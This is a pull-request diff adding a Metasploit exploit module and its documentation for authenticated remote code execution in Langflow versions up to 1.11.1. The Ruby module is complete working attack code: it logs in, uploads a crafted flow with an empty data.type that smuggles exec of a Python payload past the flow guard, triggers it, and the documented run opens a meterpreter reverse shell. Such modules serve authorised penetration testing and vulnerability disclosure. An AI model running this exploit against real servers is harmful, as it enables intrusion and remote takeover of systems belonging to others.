Skip to content
Original file line number Diff line number Diff line change
@@ -0,0 +1,68 @@
## Vulnerable Application

Langflow versions 1.11.1 and below are susceptible to authenticated remote code execution.
By saving a flow where `data.type` is empty, an authenticated user can bypass the flow guard and execute
arbitrary Python code.

The vulnerability affects:

* Langflow <= 1.11.1


This module was successfully tested on:

* Langflow 1.10.0 installed with Docker


### Installation
1. Install your favorite virtualization engine (VirtualBox or VMware) on your preferred platform.
2. Install Ubuntu Linux (or other Linux distro) in your virtualization engine.
3. Pull pre-built Langflow docker container (v1.10.0) in your VM.
`docker pull langflowai/langflow:1.10.0`
4. Start the langflow container.


```
sudo docker run -d \
--name langflow \
-p 192.168.1.30:7860:7860 \
-e LANGFLOW_SUPERUSER=root \
-e LANGFLOW_SUPERUSER_PASSWORD=root \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
-e LANGFLOW_SUPERUSER_PASSWORD=root \
-e LANGFLOW_SUPERUSER_PASSWORD=root \
-e LANGFLOW_AUTO_LOGIN=false \
-e LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false \

Disable custom components for testing.

-e LANGFLOW_AUTO_LOGIN=false \
-e LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false \
langflowai/langflow:1.10.0
```

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_19295`
4. Do: `run lhost=<lhost> rhost=<rhost> username=<username> password=<password>`
5. You should get a meterpreter


## Options


## Scenarios

```
msf > use exploit/multi/http/langflow_auth_rce_cve_2026_19295
[*] No payload configured, defaulting to python/meterpreter/reverse_tcp
msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > set RHOSTS 192.168.1.30
RHOSTS => 192.168.1.30
msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > set USERNAME root
USERNAME => root
msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > set PASSWORD root
PASSWORD => root
msf exploit(multi/http/langflow_auth_rce_cve_2026_19295) > exploit
[*] Started reverse TCP handler on 192.168.1.30:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.10.0 detected, which appears vulnerable.
[*] Payload sent successfully.
[*] Sending stage (34544 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (192.168.1.30:4444 -> 172.17.0.2:36926) at 2026-08-27 23:40:01 -0400

meterpreter >
```
268 changes: 268 additions & 0 deletions modules/exploits/multi/http/langflow_auth_rce_cve_2026_19295.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,268 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow AI authenticated RCE',
'Description' => %q{
Langflow versions 1.11.1 and below are susceptible to authenticated
remote code execution. By saving a flow where `data.type` is empty,
an authenticated user can bypass the flow guard and execute
arbitrary Python code.
},
'Author' => [
'Richard Howe <rhowe425>'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-19295'],
['URL', 'https://www.ibm.com/support/pages/node/7284733']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-08-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
Opt::RPORT(7860),
OptString.new(
'TARGETURI',
[true, 'Base path of the Langflow application', '/']
),
OptString.new(
'USERNAME',
[true, 'Langflow login username', '']
),
OptString.new(
'PASSWORD',
[true, 'Langflow login password', '']
)
]
)
end

def get_token(username, password)
data = {
'username' => username,
'password' => password
}

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/login'),
'vars_post' => data
)

return unless res&.code&.between?(200, 299)

json = res.get_json_document
return unless json.is_a?(Hash)

json['access_token']
end

def create_flow(token)
node_id = Rex::Text.rand_text_alpha(8)
component_display_name = Rex::Text.rand_text_alpha(5)
component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"

output_display_name = Rex::Text.rand_text_alpha(5)
output_name = Rex::Text.rand_text_alpha(5).downcase
output_method = Rex::Text.rand_text_alpha(5).downcase

injected_code = [
'from langflow.custom import Component',
'from langflow.io import Output',
'from langflow.schema.data import Data',
'_fired = [False]',
"class #{component_name}(Component):",
" display_name='#{component_display_name}'",
" outputs = [Output(display_name='#{output_display_name}', name='#{output_name}', method='#{output_method}')]",
" @(lambda f: (_fired[0] or (_fired.__setitem__(0, True), exec(compile(\"#{payload.encode}\", '<string>', 'exec'))), f)[-1])",
" def #{output_method}(self) -> Data:",
' return Data(data={})'
].join("\n")

crafted_flow = {
'name' => Rex::Text.rand_text_alpha(10),
'description' => Rex::Text.rand_text_alpha(10),
'data' => {
'nodes' => [
{
'id' => node_id,
'type' => 'genericNode',
'position' => {
'x' => 0,
'y' => 0
},
'data' => {
'id' => node_id,
'type' => '',
'node' => {
'template' => {
'_type' => 'Component',
'code' => {
'type' => 'code',
'required' => true,
'show' => true,
'multiline' => true,
'value' => injected_code,
'name' => 'code',
'password' => false,
'advanced' => false,
'dynamic' => false
}
},
'description' => 'Comp',
'base_classes' => ['Data'],
'display_name' => 'Comp',
'name' => 'Comp',
'frozen' => false,
'edited' => true,
'outputs' => [
{
'types' => ['Data'],
'selected' => 'Data',
'name' => output_name,
'display_name' => output_display_name,
'method' => output_method,
'value' => '__UNDEFINED__',
'cache' => true,
'allows_loop' => false,
'tool_mode' => false,
'hidden' => nil,
'required_inputs' => nil,
'group_outputs' => false
}
],
'field_order' => ['code'],
'beta' => false
}
}
}
],
'edges' => []
}
}

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/v1/flows/'),
'headers' => {
'Content-Type' => 'application/json',
'Authorization' => "Bearer #{token}"
},
'data' => crafted_flow.to_json
)

unless res&.code&.between?(200, 299)
fail_with(Failure::UnexpectedReply, 'Unable to upload the vulnerable flow.')
end

json = res.get_json_document
return unless json.is_a?(Hash)

json['id']
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
)

return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

doc = res.get_json_document

version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

package = doc.is_a?(Hash) ? doc['package'] : nil
return Exploit::CheckCode::Unknown('Failed to identify application.') unless package

unless package.to_s.downcase == 'langflow'
return Exploit::CheckCode::Safe('Application is not Langflow.')
end

version = Rex::Version.new(version_str.to_s)

return Exploit::CheckCode::Unknown('Failed to parse version.') unless version

if (version >= Rex::Version.new('1.0.0')) && (version <= Rex::Version.new('1.11.1'))
return Exploit::CheckCode::Appears(
"Version #{version} detected, which appears vulnerable."
)
end

Exploit::CheckCode::Safe(
"Version #{version} detected, which is not vulnerable."
)
end

def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']

token = get_token(username, password)

if token.to_s.empty?
fail_with(Failure::UnexpectedReply, 'Could not authenticate with Langflow API.')
end

flow_id = create_flow(token)

if flow_id.to_s.empty?
fail_with(Failure::UnexpectedReply, 'Langflow did not return a flow ID.')
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(
target_uri.path,
"api/v1/build/#{flow_id}/flow"
),
'headers' => {
'Content-Type' => 'application/json',
'Authorization' => "Bearer #{token}"
},
'data' => {}.to_json
)

unless res&.code&.between?(200, 299)
fail_with(Failure::UnexpectedReply, 'Unable to trigger the vulnerability.')
end

print_status('Payload sent successfully.')
end
end
Loading